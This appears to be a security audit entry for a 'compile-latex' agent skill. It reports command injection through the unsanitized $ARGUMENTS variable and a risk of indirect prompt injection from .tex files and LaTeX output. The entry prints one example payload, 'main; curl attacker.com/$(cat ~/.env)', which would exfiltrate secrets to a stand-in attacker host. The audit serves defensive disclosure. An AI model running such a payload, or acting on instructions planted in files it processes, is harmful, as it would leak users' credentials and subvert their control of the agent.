The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses the $ARGUMENTS variable to construct shell commands (e.g., xelatex -interaction=nonstopmode $ARGUMENTS.tex and open Slides/$ARGUMENTS.pdf) within the Bash tool. Because these arguments are taken directly from user input and are not sanitized, an attacker can provide a filename containing shell metacharacters such as semicolons, ampersands, or backticks (e.g., main; curl attacker.com/$(cat ~/.env)) to execute unauthorized commands on the host system.\n- [DYNAMIC_EXECUTION]: The skill dynamically generates shell script fragments by concatenating a base command string with user-provided variables. This pattern of script assembly is inherently dangerous when the input source is untrusted or unsanitized.\n- [INDIRECT_PROMPT_INJECTION]: The skill processes content from .tex files in the Slides/ directory and analyzes tool output to report results to the user. This creates a surface for indirect prompt injection where malicious content in the LaTeX source could influence the agent's summary or subsequent actions.\n
Ingestion points: Slides/$ARGUMENTS.tex and the associated stdout from LaTeX tools.\n
Boundary markers: Absent. There are no instructions to the agent to distinguish between tool results and potentially adversarial content within the files.\n
Capability inventory: The skill utilizes the Bash tool for compilation, file system traversal, and document viewing.\n
Sanitization: Absent. The agent is instructed to report findings based directly on the contents and warnings of the processed files.

compile-latex